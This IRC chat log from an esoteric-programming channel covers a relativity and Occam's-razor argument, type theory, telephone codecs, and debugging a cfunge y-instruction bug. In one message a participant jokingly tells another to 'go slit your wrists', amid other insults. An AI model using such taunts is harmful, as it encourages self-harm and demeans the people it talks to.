06:34:40 <augur> in which case this isnt an argument at all
06:34:44 <augur> but rather a miscommunication
06:34:57 <coppro> it may be a miscommunication, but the fundamental argument is still there
06:35:02 <augur> but its not
06:35:10 <augur> because a frame of reference is simply not a theory
06:35:36 <coppro> as I do not believe that there is any particular reason why a rotating frame against a static universe is any more real or valid than a static frame against a rotating universe
06:35:54 <coppro> which is your fundamental point
06:36:14 <augur> yes, but as ive already said, i believe that there is.
06:36:20 <augur> whether you AGREE with that or not is not relevant.
06:37:28 <augur> what it comes down to is in many ways theory-related in nature tho, this is definitely true, but again, as ive said even so far as theories are concerned, i believe that two equally accurate theories can differ in how similar the theory-qua-intension reflects the actual structure of reality
06:37:37 <coppro> Right, and I do not agree
06:37:40 <coppro> which is the point of this argumen
06:37:42 <coppro> *argument
06:37:47 <coppro> we are arguing over the point I just described
06:37:50 <adu> how many types of types are there?
06:37:55 <augur> adu: infinitely many.
06:38:08 <adu> wow
06:38:41 <augur> coppro: since there is no actual way to resolve this dispute, as i have said multiple times: your disagreement with what i think doesn't matter.
06:38:56 <adu> there's gotta be a way to simplify that, like maybe oo/2 or something
06:39:08 <augur> its even worse, adu
06:39:18 <coppro> augur: so now you are not only telling me that I am wrong, but that my opinion does not matter; welcome to /ignore
06:39:26 <augur> there are as many types as the largest kind of infinity
06:39:34 <augur> and since there is no largest infinity, you're fucked D:
06:39:57 <augur> coppro: im saying that it doesnt matter because its not something that we can argue over and come to a conclusion.
06:40:17 <adu> what about constructive type theory, like X is a type, and F is a function type, so F X is a type
06:40:36 <adu> then there would be 2 types of type
06:40:38 <augur> that probably doesnt change anything.
06:41:03 <augur> because you can define horizontal types of arbitrary number
06:41:15 <adu> horizontal?!?
06:41:20 <augur> yes
06:41:34 <adu> do you mean different names?
06:41:37 <augur> within type theory you can view types as existing in two-ish dimensions
06:41:49 <augur> so consider the following types:
06:41:53 <augur> Integer, String, Boolean
06:42:02 <adu> k
06:42:09 <augur> now consider Integer -> Boolean, Boolean -> Boolean -> Boolean, etc.
06:42:14 * adu considers
06:42:23 <augur> the latter two are dependent upon the existence of the previous three, right?
06:42:28 <augur> theyre built out of them, in some sense
06:42:41 <adu> yes
06:42:48 <augur> we could describe this relation as a horizontal type distinction
06:43:07 <augur> the differences between Integer, String, and Boolean, however, are not the same
06:43:12 <augur> they're horizontally related
06:43:21 <augur> You could imagine a type system with only horizontal types
06:43:29 <augur> e.g. a language in which you dont have function ty
06:43:30 <augur> types
06:43:44 <augur> at least, you dont have function types in any salient sense
06:44:14 <augur> e.g. C, in which sure maybe you have function types associated with functions, but function types arent of the same ontological status in the type system as value types are
06:44:54 <augur> you cannot, for instance, do higher order functions, so function types in C arent really things that you can talk about like you can with value types
06:45:05 <augur> you could, however, have the reverse -- a system with only function types
06:45:21 <augur> and one "horizontal" type, in some sense
06:45:34 <pikhq> My C compiler offers first-class functions.
06:45:44 <augur> a system in which non-functions are of type Value, and everything else is a function type of some sort
06:45:57 <augur> pikhq: C99+yaddayadda whatever it is that they use at apple now?
06:46:08 <pikhq> Clang.
06:46:18 <pikhq> I don't have an Apple system.
06:46:19 <augur> the newest versions of C, as forked by apple i think, have higher order functions, which necessitates real function types. which is pretty cool.
06:46:39 <augur> but the point is understandable i think.
06:46:54 <augur> function types and value types really different in some sense conceptually
06:47:01 <coppro> no, it does not offer first-class functions
06:47:05 <coppro> it offers blocks
06:47:20 <augur> coppro: well, the versions ive seen have first class functions.
06:47:42 <augur> which may be called blocks, but in-language they're indistinguishable from functions, as far as i can tell.
06:48:27 <augur> and are distinct from blocks in the normal sense of the word in programming where the clauses of an if statement are blocks.
06:49:05 <pikhq> coppro: "Blocks" are a first-class function type.
06:49:14 <pikhq> Which happen to be distinct form normal functions.
06:49:31 <pikhq> Erm. From.
06:49:55 <coppro> Technically correct, though misleading in the context of C
06:50:16 <pikhq> But they're functions and they're first-class values.
06:50:37 <pikhq> What more do you want, aside from being able to implicitly cast from function pointers to block pointers?
06:50:57 <pikhq> (and vice versa)
06:53:16 <augur> coppro: again, given that the C was used merely as an example to intelligent people capable of understanding the nature of the nit picky details in terminology, it should be relatively clear that your pedantic distinctions are pointless, because we already knew everything you're saying, or would be fully capable of understanding the trivial distinctions being made.
06:53:51 <augur> you seem to have significant problems carrying on normal discourses.
06:56:39 <augur> this is one of the problems with me being a linguist. ive actually done research on what constitutes successful conversations, and can identify failures, and yet am powerless to correct them.
06:58:22 -!- FireFly has joined.
06:59:04 -!- kar8nga has joined.
07:01:30 -!- tombom has joined.
07:11:00 <augur> http://trololololololololololo.com/
07:11:03 <pikhq> augur: Ouch.
07:11:09 <augur> ey?
07:14:49 -!- jcp has joined.
07:15:31 <Gregor> augur: He's a good ... "singer"? Although I'm not convinced that he's human.
07:16:04 <augur> Gregor: well, he IS russian. so.
07:16:08 <Gregor> I'm also not sure what the point of this web site is ... I assumed at some point he'd start going "lol lol lol" and it would just loop him like that forever,.
07:16:12 <augur> not even russian, he's SOVIET
07:16:32 <augur> this is an actual video from the soviet union
07:16:43 <augur> so i dont think there needs to be such a thing as you described
07:16:53 -!- coppro has quit (Remote host closed the connection).
07:19:11 <Gregor> Well yeah, it's weird, I just don't get why this web page exists :P
07:20:20 <augur> gregor
07:20:33 <Gregor> Yeah, that's me.
07:20:36 <augur> youve been on the web HOW long and still havent realized that webpages dont need reasons?
07:20:40 <Gregor> :P
07:20:43 <Gregor> Touché, sir.
07:20:49 <Gregor> I bought onero.us and sibeli.us today :P
07:21:02 <augur> HAVE YA HEARD ABOUT THAT YTMND.COM YET NA?
07:21:12 <Gregor> That I /really/ don't get.
07:27:27 -!- adu has quit (Quit: adu).
07:53:36 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
09:06:25 -!- lereah_ has joined.
09:09:03 -!- MigoMipo has joined.
09:28:40 -!- lifthrasiir has quit (Ping timeout: 240 seconds).
09:32:06 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
09:35:26 -!- lifthrasiir has joined.
09:52:46 -!- kar8nga has quit (Remote host closed the connection).
10:34:15 -!- dev_squid has quit (Ping timeout: 276 seconds).
10:44:42 -!- Slereah has quit (Ping timeout: 248 seconds).
10:49:14 -!- Slereah has joined.
11:08:13 <AnMaster> argh
11:08:43 <AnMaster> horrible music interrupted by "you now have place number 5 in the queue"
11:19:05 <AnMaster> (what happened? Well, had to call IBM/Lenvo telephone support, then get told the reseller didn't register with them when the computer was sold, so had to call *their* telephone support as well)
11:19:11 <AnMaster> (the latter had the horrible music)
11:20:43 <AnMaster> (not even the usual simply bad music... Much worse, rap music...)
11:28:37 <fizzie> Telephone support systems tend to have the oddest audible experiences.
11:29:44 <fizzie> Compounded by the fact that the codecs used in GSM/3G networks do a really horrible job on any sort of music, they're so heavily speech-optimized.
11:41:25 -!- cheater has quit (Ping timeout: 245 seconds).
11:45:11 -!- cheater has joined.
11:59:15 -!- BeholdMyGlory has joined.
11:59:18 -!- BeholdMyGlory has quit (Changing host).
11:59:19 -!- BeholdMyGlory has joined.
12:15:38 <AnMaster> <fizzie> Compounded by the fact that the codecs used in GSM/3G networks do a really horrible job on any sort of music, they're so heavily speech-optimized. <-- hm?
12:15:51 <AnMaster> fizzie, I doubt that applies when I used a non-cell phone
12:15:53 <AnMaster> as in, land line
12:15:59 <fizzie> Yes, I was sort of assuming a cell phone there.
12:16:07 <AnMaster> why?
12:16:12 <fizzie> It's 2010, man!
12:16:18 <AnMaster> that would be more expensive than using the land line to call
12:16:42 <AnMaster> fizzie, but it was a wireless land line phone at least
12:16:55 <AnMaster> I could have used the non-wireless one in the next room instead
12:16:56 <fizzie> Anyway, the current land-line digital networks are a bit speech-optimized too, though not as badly by far.
12:16:59 <AnMaster> would have been somewhat more awkward
12:19:44 <fizzie> I guess the worst part about landline telephone music is that they only transfer frequencies in the [200, 3400] Hz range.
12:20:06 <AnMaster> fizzie, GSM/EDGE/3G transfers more?
12:20:15 <fizzie> No, they're equally horrible.
12:20:19 <AnMaster> ah
12:20:40 <AnMaster> hm
12:20:52 <fizzie> Except 3G's AMR-WB wideband codec, which goes up to something like 7 kHz, but from what I hear, no operator (except some really strange never-heard country) has actually enabled that in their networks.
12:21:03 -!- MizardX has joined.
12:21:19 <AnMaster> fizzie, what about low freqs?
12:22:06 <fizzie> It might have gone a bit lower there too, though I don't really recall.
12:23:10 <AnMaster> fizzie, I'm able to hit some low notes with my voice (I suck at hitting a specific one _reliably_ though ;))
12:23:57 <AnMaster> (I can read below 200 Hz pretty easily unless I misremember. But not in everyday speech I guess)
12:24:01 <fizzie> Humans are pretty good at picking up the "real" pitch from the harmonics even if the transport channel actually filters it, physically speaking.
12:24:09 <AnMaster> s/read/hit/
12:24:20 <AnMaster> (weird typo, was trying to to two things at once)
12:24:42 <AnMaster> fizzie, hm interesting. From overtones I guess?
12:25:00 <fizzie> Case in point: a usual fundamental frequency for normal male speech is around 100 Hz, yet no-one notices that much even though telephone systems generally have a huge attenuation at that low frequencies.
12:25:20 -!- alise has joined.
12:25:28 <AnMaster> fizzie, I can hit just above the lowest C on a standard piano with my voice though
12:26:14 <fizzie> I don't really know very much on the biology side of how auditory perception works, except that the ear is a strange thing, and what goes on after the ear is even less simple.
12:26:35 <AnMaster> I don't quite reach it. Of course it doesn't actually sound good at the lowest bit. For something I actually could *speak* in it would be maybe one octave higher I guesstimate
12:29:36 <fizzie> Well, the "middle C" is around 260 Hz, and I assume that "middle" on the piano; is the lowest C three octaves downward?
12:29:51 <fizzie> If it is, that'd be something like 32 Hz.
12:30:03 <AnMaster> http://en.wikipedia.org/wiki/Piano_key_frequencies
12:30:19 <AnMaster> fizzie, around 32 Hz yes
12:30:58 <fizzie> Right. That's pretty low.
12:31:30 <AnMaster> fizzie, I can go past the D just above it, but not quite reach the C or C#. Of course I couldn't actually say anything at this level. Trying to modulate the sound around there to speech just doesn't work.
12:31:52 <AnMaster> a bit above it does work for that.
12:32:24 <AnMaster> fizzie, so I hit somewhere between 34 and 36 Hz I guess (since I can't quite reach that C# either)
12:33:49 <AnMaster> fizzie, ever tried making a noise at the same frequency as the car engine while traveling in car?
12:34:12 <fizzie> Can't say I have.
12:34:14 <AnMaster> it feels strange when you hit the same tone.
12:36:13 <alise> 19:16:34 <coppro> you know, I sort of like this channel without alise being here all the time
12:36:13 <alise> I do logread, you know
12:37:34 <AnMaster> alise, so now you have your mac running I see :)
12:37:53 <alise> Uh, yes, on top of an ironing board. Very sturdy surface. But I had it running last night.
12:37:58 <AnMaster> ah
12:38:12 <alise> Shit's got terribly, terribly real with my situation so... so, I don't even know what I was going to put here.
12:42:12 -!- cheater has quit (Ping timeout: 252 seconds).
12:42:36 <AnMaster> yay, a 5 on the exam on the first sub-course in the electricity and electronics course
12:42:37 <AnMaster> :)
12:42:42 * AnMaster just got the result
12:43:12 <AnMaster> (the possible values are U, 3, 4, 5, where U is "not passed")
12:43:15 <alise> 21:25:36 <augur> suppose that one twin is a pig
12:43:16 <alise> 21:25:40 <augur> as in, loves to eat
12:43:16 <alise> 21:25:52 <augur> he eats SO MUCH that he eats everything in the universe, except his brother
12:43:16 <alise> plausible
12:43:38 <AnMaster> alise, why did augur need to suppose that?
12:43:49 <alise> argument about relativity, twin paradox
12:43:50 <alise> http://tunes.org/~nef/logs/esoteric/10.03.03
12:43:53 <AnMaster> alise, also that would include himself
12:43:57 <alise> no
12:43:59 <alise> you can't eat yourself.
12:44:16 <AnMaster> alise, surely you can eat your own leg for example?
12:44:23 <AnMaster> of course, other parts may be harder
12:44:55 <alise> oh shush :P
12:46:07 -!- cheater has joined.
12:46:18 -!- BeholdMyGlory has quit (Ping timeout: 248 seconds).
12:46:36 <alise> 22:12:06 <coppro> what do you define as equally valid?
12:46:36 <alise> augur seems to just be appealing to a sort of ontological notion of "truth beyond truth"
12:46:52 <alise> i.e., one truth being /more/ truthy than other truths by way of being more "inherently objective" to the situation
12:46:56 <alise> that's just my hunch from reading it though
12:49:34 <alise> I don't believe there is an inherent link of simplicity and correctness; that's just a heuristic we use for estimating probability and reasoning and doing science
12:50:48 <alise> 22:27:19 <augur> i dont think occam's razor is a methodological tool, i think its a fact about reality.
12:50:48 <alise> delusional
12:51:43 <AnMaster> didn't Occam himself use occam's razor for "proving" the existence of god iirc?
12:52:01 <alise> 22:30:52 <augur> which is to say, how close it is to looking like the way the thing actually is
12:52:01 <alise> You can only measure this with metaphysics
12:52:10 <AnMaster> alise, ^
12:52:16 <alise> Things "actually are" a theory if it predicts them perfectly
12:52:34 <alise> Any other distinction is human intuition, and we can select equivalently valid theories based on how much we like them (e.g. simplicity for working with)
12:52:35 <alise> That's all.
12:53:13 <alise> 22:37:50 <adu> how many types of types are there?
12:53:14 <alise> Set : Set1
12:53:16 <alise> Set1 : Set2
12:53:17 <alise> and so on
12:53:31 <alise> :P
12:53:41 <AnMaster> alise, countably infinite then?
12:53:50 <AnMaster> oh wait, no
12:53:50 <alise> 22:38:41 <augur> coppro: since there is no actual way to resolve this dispute, as i have said multiple times: your disagreement with what i think doesn't matter.
12:53:51 <alise> I can defeat your position with your position.
12:54:30 <alise> augur: It is simpler to assume that all theories that are equally valid-as-predictors are equally valid, than to introduce an entire notion of metaphysics where some theory is more correct than another simply because it is simpler.
12:54:40 <alise> Since the former is simpler, it is true; therefore theories are not more valid just because they are simpler.
12:54:44 <alise> Contradiction, bitchnizzle!
12:55:47 <AnMaster> alise, nice one
12:57:06 <alise> 22:56:39 <augur> this is one of the problems with me being a linguist. ive actually done research on what constitutes successful conversations, and can identify failures, and yet am powerless to correct them.
12:57:06 <alise> Woe that the world is so much dumber than I!
12:57:12 <alise> Go slit your wrists or something
12:57:14 <alise> :P
13:00:54 <AnMaster> ooh nice google holiday logo
13:21:56 <cheater> hello sweeties
13:33:35 * alise attempts to find an ULV laptop
14:16:29 -!- alise has quit (Quit: alise).
14:38:48 -!- FireFly has quit (Quit: Leaving).
15:36:01 <Deewiant> AnMaster: I think I've found two (closely related) bugs in cfunge's y-with-positive-argument
15:37:33 <Deewiant> 1) It skips over the terminating null of the environment variables (i.e. the additional one which terminates them all)
15:39:27 <Deewiant> 2) It pushes some nonsense value instead of that null, I think
15:39:46 <Deewiant> In which case I'd actually call it one bug, I changed my mind a bit there between 1) and 2)
15:40:13 <Deewiant> No, wait, I was right the first time
15:41:08 <Deewiant> 2) It seems to push an incorrect value if asked for the topmost value on the stack (i.e. argument = number of cells it pushes (+-1?))
15:43:04 -!- cpressey has joined.
15:43:26 <AnMaster> Deewiant, hm
15:43:54 <AnMaster> Deewiant, test cases for these?
15:43:54 <Deewiant> You can test with the following (warning: infinite-looping, use head -n{number of cells it pushes} to terminate it): 1> #;:.:y#@.a#@,1+#;<
15:44:06 <AnMaster> hm
15:44:15 <AnMaster> Deewiant, what do you mean with the second one
15:44:23 <AnMaster> "<Deewiant> 2) It seems to push an incorrect value if asked for the topmost value on the stack (i.e. argument = number of cells it pushes (+-1?))"
15:44:39 -!- MigoMipo has quit (Remote host closed the connection).
15:44:40 <Deewiant> I mean y used as a pick instruction to pick the topmost value on the stack
15:44:47 <AnMaster> hm
15:44:50 <Deewiant> That test program basically runs Xy for every X, looping forever
15:44:56 <Deewiant> X greater than 0
15:44:57 -!- MigoMipo has joined.
15:45:31 <Deewiant> On my machine, cfunge prints there "2751 56" "2752 0" "2753 32785" and then an infinite number of zeroes
15:46:00 <Deewiant> For 2), that should be "2753 2753"
15:46:35 <Deewiant> And for 1), there should be another zero in between those two nonzero values
15:47:14 <Deewiant> CCBI2 prints "2749 56" "2750 0" "2751 0" "2752 2752" and I think it's right. :-P
15:47:30 <Deewiant> (Off-by-one because args[0] is "ccbi" not "cfunge")
15:47:33 <AnMaster> hm
15:47:45 <AnMaster> Deewiant, I get this before the inf zeros:
15:47:46 <Deewiant> Hmm, actually it should be off-by-two
15:47:52 <AnMaster> 2536 105
15:47:53 <AnMaster> 2537 100
15:47:53 <AnMaster> 2538 0
15:47:53 <AnMaster> 2539 32785
15:47:58 <Deewiant> Right
15:48:00 <AnMaster> indeed weird
15:48:44 <AnMaster> Deewiant, and long live valgrind
15:49:34 <Deewiant> Oh right, it's off-by-one and not two because cfunge only prints one zero >_<
15:49:58 <AnMaster> Deewiant, hm?
15:50:20 <Deewiant> AnMaster: Just confusing myself, not important :-P
15:50:29 -!- MizardX has quit (Read error: Connection reset by peer).
15:50:43 -!- MizardX has joined.
15:50:57 <AnMaster> Deewiant, so what are the bugs then? That it gets a invalid read somewhere there?
15:51:08 <AnMaster> Is the other bug caused by it or not?
15:51:09 <Deewiant> What I said
15:51:11 <Deewiant> You're missing a zero
15:51:17 <Deewiant> And you're printing 32785 instead of 2539
15:51:21 <Deewiant> Er, pushing
15:51:23 <Deewiant> Same difference
15:51:48 <AnMaster> Deewiant, I am pushing an extra zero it seems when looking at things
15:52:09 <AnMaster> I begin with pushing a zero, then all the env vars?
15:52:31 <Deewiant> You're supposed to push that zero, it's the one that terminates the list of env vars
15:52:46 <AnMaster> Deewiant, yes, I said it is being done there as far as I can tell
15:53:08 <Deewiant> That program should be printing two zeroes before 2539 (32785)
15:53:18 <Deewiant> The first zero terminates the last env var
15:53:22 <Deewiant> The second terminates the list of env vars
15:53:30 <AnMaster> Deewiant, do you have a good/bad test case for this? I'm not completely sure what exactly the expected result is, and since env variables differ...
15:53:31 <Deewiant> Under cfunge, it's only printing one zero
15:53:47 <Deewiant> AnMaster: Two zeroes. Regardless of env variables (except if you have none at all)
15:54:13 <Deewiant> AnMaster: Since the stack is supposed to look like "<arg to y> 0 0gnirts 0gnirts ..."
15:54:26 <AnMaster> Deewiant, well the 32785 looks like it is out of range value
15:54:44 <Deewiant> Quite possibly
15:54:49 <AnMaster> Attaching to program: /proc/16804/fd/1014, process 16804
15:54:49 <AnMaster> 0x000000000040e351 in stack_get_index (stack=0x6008520, index=0) at /home/arvid/src/own/cfunge/trunk/src/stack.c:181
15:54:49 <AnMaster> 181 return stack->entries[index - 1];
15:54:49 <AnMaster> (gdb) print index
15:54:49 <AnMaster> $1 = 0
15:54:52 <AnMaster> yeah right...
15:54:54 <Deewiant> :-)
15:55:17 <Deewiant> Maybe if you fix that the other problem will fix itself...
15:55:33 <Deewiant> AnMaster: Also, is there a replacement for rage.kuonet.org?
15:55:50 <AnMaster> so 1 should be first element it seems hstack_get_indexm
15:55:51 <AnMaster> hm*
15:55:52 <Deewiant> I.e. a homepagey-type thing
15:56:00 * AnMaster kicks synergy's copy paste failure
15:56:08 <Deewiant> Or should I just pull from launchpad these days
15:56:08 <AnMaster> Deewiant, I don't have one no
15:56:13 <AnMaster> Deewiant, launchpad yes
15:56:26 <AnMaster> also I'm trying to figure out what stack_get_index() is supposed to do
15:56:33 <Deewiant> :-D
15:57:03 <AnMaster> Deewiant, well actually it seems to do the right thing. But the caller is not
15:57:33 <AnMaster> element 1 is supposed to be the first element from base (yes it is one-based, not zero-based, for technical reasons iirc)
15:58:06 <AnMaster> Deewiant, doesn't mycology test y as pick though
15:58:26 <Deewiant> Not that much :_P
15:58:28 <Deewiant> :-P*
15:58:48 <Deewiant> It tests basically picking the 10th cell from the top or something
15:59:02 <Deewiant> Can't remember exactly
15:59:42 <AnMaster> well my fix broke mycology's check for it
15:59:45 <AnMaster> hm
16:00:21 <Deewiant> The check probably isn't incorrect since CCBI2 passes that as well
16:01:16 <AnMaster> Deewiant, would be useful if you could make a GOOD/BAD test for this.
16:01:47 <Deewiant> For the 32785 thing it's relatively easy, for the other one it's a bit of a pain
16:02:00 <AnMaster> Deewiant, well, they are definitely related
16:02:06 <AnMaster> same underlying cause I think
16:02:15 <AnMaster> Deewiant, does 0y push the double zero?
16:03:04 <Deewiant> It should.
16:03:11 <Deewiant> You can obviously test for that yourself.
16:04:59 -!- MissPiggy has joined.
16:05:15 <AnMaster> hm that works correctly as far as I can tell
16:05:28 <AnMaster> stack is at bottom 0 0 100
16:07:09 <AnMaster> Deewiant, does mycology test FRTH?
16:07:16 <Deewiant> Yes
16:07:18 <AnMaster> good
16:07:30 <AnMaster> then I can just run one program and grep for BAD
16:08:34 -!- Gracenotes has quit (Ping timeout: 264 seconds).
16:10:23 -!- asiekierka has joined.
16:11:48 <augur> alise talks too much.
16:12:06 <lereah_> I hear she talks to Bob a lot
16:12:24 <augur> Microsoft Bob?
16:12:34 <lereah_> Just plain old Bob
16:12:38 <asiekierka> No, Microsoft Bob Beta 1
16:12:43 <asiekierka> because RTMs are boring
16:12:45 <augur> o god
16:12:49 <asiekierka> Or Microsoft Sam, maybe
16:12:55 <asiekierka> though i think I'd prefer Bob
16:12:59 <asiekierka> honestly, at least he has craphics
16:14:57 <AnMaster> Deewiant, did you say 2538 was correct value?
16:15:14 <Deewiant> It should be the same as the index
16:15:21 <AnMaster> hm okay
16:16:01 <AnMaster> Deewiant, still it doesn't explain the missing zero
16:16:21 <Deewiant> Then you have to figure out what does explain it :-P
16:18:08 <AnMaster> Deewiant, hm, can you tell me if the values around index 23-26 seems correct in the cfunge output?
16:18:38 <AnMaster> specifically 23, 24 and 25
16:18:53 <Deewiant> The diff cfunge->ccbi2 shows only differences as: handprint, version, cell size, time, argv[0], and those bugs
16:19:41 <AnMaster> so you get 23->1 24->46 25->46 ?
16:20:18 <Deewiant> 23->1 24->97 actually but yeah
16:20:31 <AnMaster> Deewiant, 25 is also 97?
16:21:15 <Deewiant> Why should it be?
16:21:27 <AnMaster> Deewiant, what exactly is indexes 24 and 25 hm..
16:21:37 <Deewiant> That's the first funge argument
16:21:39 <Deewiant> I.e. the name of the file
16:21:45 <AnMaster> ah
16:21:52 <Deewiant> It's "arst.b98" here so 24 is 97 (a) and 25 is 114 (r)
16:22:01 <AnMaster> ../tests/y-test.b98
16:22:03 <AnMaster> so yeah
16:22:28 <AnMaster> so that explanation didn't work then
16:22:29 -!- augur has quit (Ping timeout: 268 seconds).
16:24:29 <AnMaster> hm it seems mycology is still broken from this
16:25:10 <AnMaster> Deewiant, argv format, how many zero bytes should there be between that the the env vars?
16:25:14 -!- Gracenotes has joined.
16:25:28 <Deewiant> 19. a series of sequences of characters (strings), each terminated by a null, the series terminated by an additional double null, containing the command-line arguments. (env)
16:25:34 <Deewiant> 20. a series of strings, each terminated by a null, the series terminated by an additional null, containing the environment variables. (env)
16:25:55 <AnMaster> Deewiant, so 3 zeros in total between env and argv?
16:26:53 <AnMaster> Deewiant, no?
16:27:01 <Deewiant> Well, two zeroes in addition to the one which terminates the last arg, yes
16:27:06 <AnMaster> right
16:27:20 <AnMaster> and only one extra zero below the env vars
16:27:24 <AnMaster> hm
16:30:02 <Deewiant> That makes a certain twisted kind of sense in that the double null is to allow (isolated) empty arguments, but it's impossible on most if not all OSs to have an empty environment variable
16:30:37 <AnMaster> Deewiant, is it?
16:30:46 <AnMaster> Deewiant, ./cfunge foo.b98 "" "" ""
16:30:46 <Deewiant> What would it even mean?
16:30:54 <AnMaster> I think that should do it?
16:31:02 <Deewiant> Do what?
16:31:32 <AnMaster> oh I thought you said "impossible [...] to have an empty argument"
16:32:40 <AnMaster> Deewiant, and yeah, I can't imagine how you can get anything shorter than "X=", where X is any letter
16:33:13 <Deewiant> Yep
16:35:53 -!- kar8nga has joined.
16:39:13 <AnMaster> Deewiant, I have a fix for both, however since this changed some things that FRTH and y are the only users of I need to carefully test FRTH with edge case arguments
16:39:19 <AnMaster> before I can push this
16:39:38 * AnMaster tries to remember the semanics for FRTH P
16:41:17 <AnMaster> Deewiant, http://rcfunge98.com/rcsfingers.html#FRTH doesn't say if P should start indexing at top or bottom
16:42:52 <fizzie> Well, it *is* called "*Forth* pick command".
16:43:12 <AnMaster> fizzie, and I don't know forth, I remember checking some forth manual for these when I implemented it
16:43:20 <fizzie> 6.2.2030 PICK
16:43:20 <fizzie> CORE EXT
16:43:20 <fizzie> ( xu ... x1 x0 u -- xu ... x1 x0 xu )
16:43:20 <fizzie> Remove u. Copy the xu to the top of the stack. An ambiguous condition exists if there are less than u+2 items on the stack before PICK is executed.
16:43:20 <AnMaster> but I don't remember what the actual semantics were
16:43:43 <fizzie> Where right side is the top.
16:43:50 <AnMaster> fizzie, so 0 is top item? then 1 is the one below?
16:44:09 <AnMaster> well, after popping the count
16:44:14 <fizzie> Yes. "0 pick" does the same as "dup".
16:49:04 <AnMaster> also I saw a way to optimise y as pick to be faster after first run. will probably implement that later
16:49:19 <AnMaster> (except no one uses that...)
16:50:23 <Deewiant> What way's that
16:51:54 <AnMaster> Deewiant, caching size of env and arguments. Then add a fixed constant + number of stacks on stack-stack + cached value to get where picking would begon
16:51:56 <AnMaster> begin*
16:53:30 <AnMaster> fizzie, what is forth -roll btw?
16:53:44 <Deewiant> I thought you already did something like that?
16:53:49 -!- lereah_ has quit (Remote host closed the connection).
16:53:50 <AnMaster> Deewiant, not quite
16:55:24 <AnMaster> btw it seems http://rcfunge98.com/rcsfingers.html#FRTH was retconned to mean that negative arguments to L should not reflect
16:55:32 <AnMaster> if he at least could provide a change log
16:56:04 <AnMaster> (not that I'm going to change things here...)
16:56:31 -!- augur has joined.
16:58:09 <fizzie> AnMaster: Intuitively I would expect "-roll" to be the same thing as "roll" except rotating to the other direction, but I can't actually find it in the standard.
16:58:29 <AnMaster> aha
16:59:21 <Deewiant> fizzie: I think it was an extension, I found it in some manual.
16:59:28 <AnMaster> I should then make it error out I guess, unless you can call undefined forth functions in forth. And thus reflecting is the correct thing to do
16:59:32 -!- tombom has joined.
16:59:35 <AnMaster> :)
17:00:37 <AnMaster> Deewiant, btw I found a bug in FRTH: when the stack size is greater than range of funge_cell (cfunge always allow stack to grow to size_t-1 in theory
17:00:48 <AnMaster> (err, that is max value of size_t)
17:02:16 <fizzie> Deewiant: It could be. Gforth has as an extension "-rot" which is "rot except the other direction", so it's not a completely unexpected extension.
17:02:17 <AnMaster> (but if you have a stack larger than 2 GB, I think you have other issues than that)
17:02:48 <Deewiant> The stack can easily be larger than 2 GB on a 64-bit system.
17:03:10 <AnMaster> Deewiant, pushed fixes
17:03:23 <AnMaster> and I was unable to detect any issues with FRTH apart from the above mentioned
17:03:34 <AnMaster> Deewiant, sure, but then my answer is: use 64-bit cells
17:03:59 -!- cheater99 has joined.
17:04:00 <AnMaster> Deewiant, in which case it now needs to be larger than a signed 64-bit value, but fit in an unsigned one
17:04:15 <Deewiant> My point was that you can't say "this doesn't matter that much because you're in other problems at that point anyway"
17:04:32 <AnMaster> Deewiant, well, now FRTH will work anyway
17:04:42 -!- jcp has joined.
17:05:05 <AnMaster> Deewiant, also yes you have other problems at that point. More than 2 GB RAM isn't still common for the "ships with this much as standard"
17:05:14 <AnMaster> s/still/yet
17:05:17 <AnMaster> /
17:05:25 <Deewiant> If you have enough RAM you have no problems at all
17:05:39 -!- cheater has quit (Ping timeout: 252 seconds).
17:07:30 -!- augur has quit (Ping timeout: 268 seconds).
17:07:53 <fizzie> L( .. n -- .. n)Forth Roll command -- that stack usage description there is a bit strange, because the Forth ROLL word definitely won't leave the n value there afterwards.
17:08:01 <AnMaster> Deewiant, is there any system with ~9223.372 petabytes or RAM?
17:08:28 <AnMaster> s/or/of/
17:08:37 <Deewiant> AnMaster: 32-bit size_t, not 64-bit
17:09:07 <Deewiant> If a 32-bit interpreter is running into size_t limits that's very easily not a problem on a modern 64-bit system (except for the interpreter itself)
17:09:23 <AnMaster> Deewiant, um...
17:09:41 <AnMaster> Deewiant, you address space will be 4 GB if you have a 32-bit size_t
17:10:01 -!- scarf has joined.
17:10:47 <AnMaster> Deewiant, some of that will be taken by kernel mappings iirc. And libraries. Yes you could probably manage more than 2 GB stack if you could malloc() such a huge continuous chunk
17:11:15 <AnMaster> actually wait
17:11:21 <AnMaster> no you couldn't grow the stack that much
17:11:30 <AnMaster> since you need to multiply it by 4 for cell size
17:11:37 <Deewiant> AnMaster: If I'm running a chroot or whatever or I'm running cfunge in 32-bit mode I am completely problemless
17:11:41 <AnMaster> (or 8 for 64-bit funge cells)
17:12:33 <AnMaster> Deewiant, but you see, 4*(2^31-1) is more than you can fit in 2^32 unless I'm completely mistaken
17:12:44 <Deewiant> I never said it wasn't
17:13:21 <AnMaster> Deewiant, and due to that, it will actually not be possible to get a stack on a 32-bit funge with 32-bit size_t where the stack size doesn't fit in a single funge cell
17:13:22 <Deewiant> I said that if you have 2 GB of stack on a 64-bit system you are in no problems at all
17:13:51 <AnMaster> Deewiant, indeed. And if you have that then I suggest you get 64-bit funge cells, or accept that y can't give you proper stack size
17:14:19 <Deewiant> At that point it still can, but yes, I accept that; of course I do
17:14:24 -!- MizardX- has joined.
17:15:05 <AnMaster> Deewiant, well, 2 gibi-funge-cells I mean
17:15:57 <AnMaster> which means 8 gigabytes doesn't it? for 32-bit cells
17:16:15 <Deewiant> 2G funge cells is not what I meant.
17:16:30 <AnMaster> Deewiant, that is what I meant all along I think
17:16:42 -!- MizardX has quit (Ping timeout: 248 seconds).
17:16:52 -!- MizardX- has changed nick to MizardX.
17:16:55 -!- dev_squid has joined.
17:17:09 <AnMaster> basically, the "issue" is that you can perhaps grow a stack larger than what fits in a funge-cell
17:17:41 <Deewiant> Yes, you can, at which point it's expected (by me) that y will push a negative value
17:18:33 -!- augur has joined.
17:18:39 <scarf> integers tend to do 2's-complement signed overflow in Befunge, don't they?
17:22:33 <AnMaster> Deewiant, hm since n*(2^(8n-1)-1) > (2^(8n)) for any integer n > 2; we can't run into the issue if we use funge cells of the same size as the native pointer size.
17:22:46 <AnMaster> since for befunge n must be at least 4
17:33:06 <fizzie> scarf: Isn't that what (signed) integers tend to do anywhere nowadays?
17:33:18 <scarf> yes, I suppose it is
17:34:33 <MissPiggy> augurithm
17:35:45 <pikhq> Hmm. count = 1; count++;count++;(according to GDB)$8 = 4196080
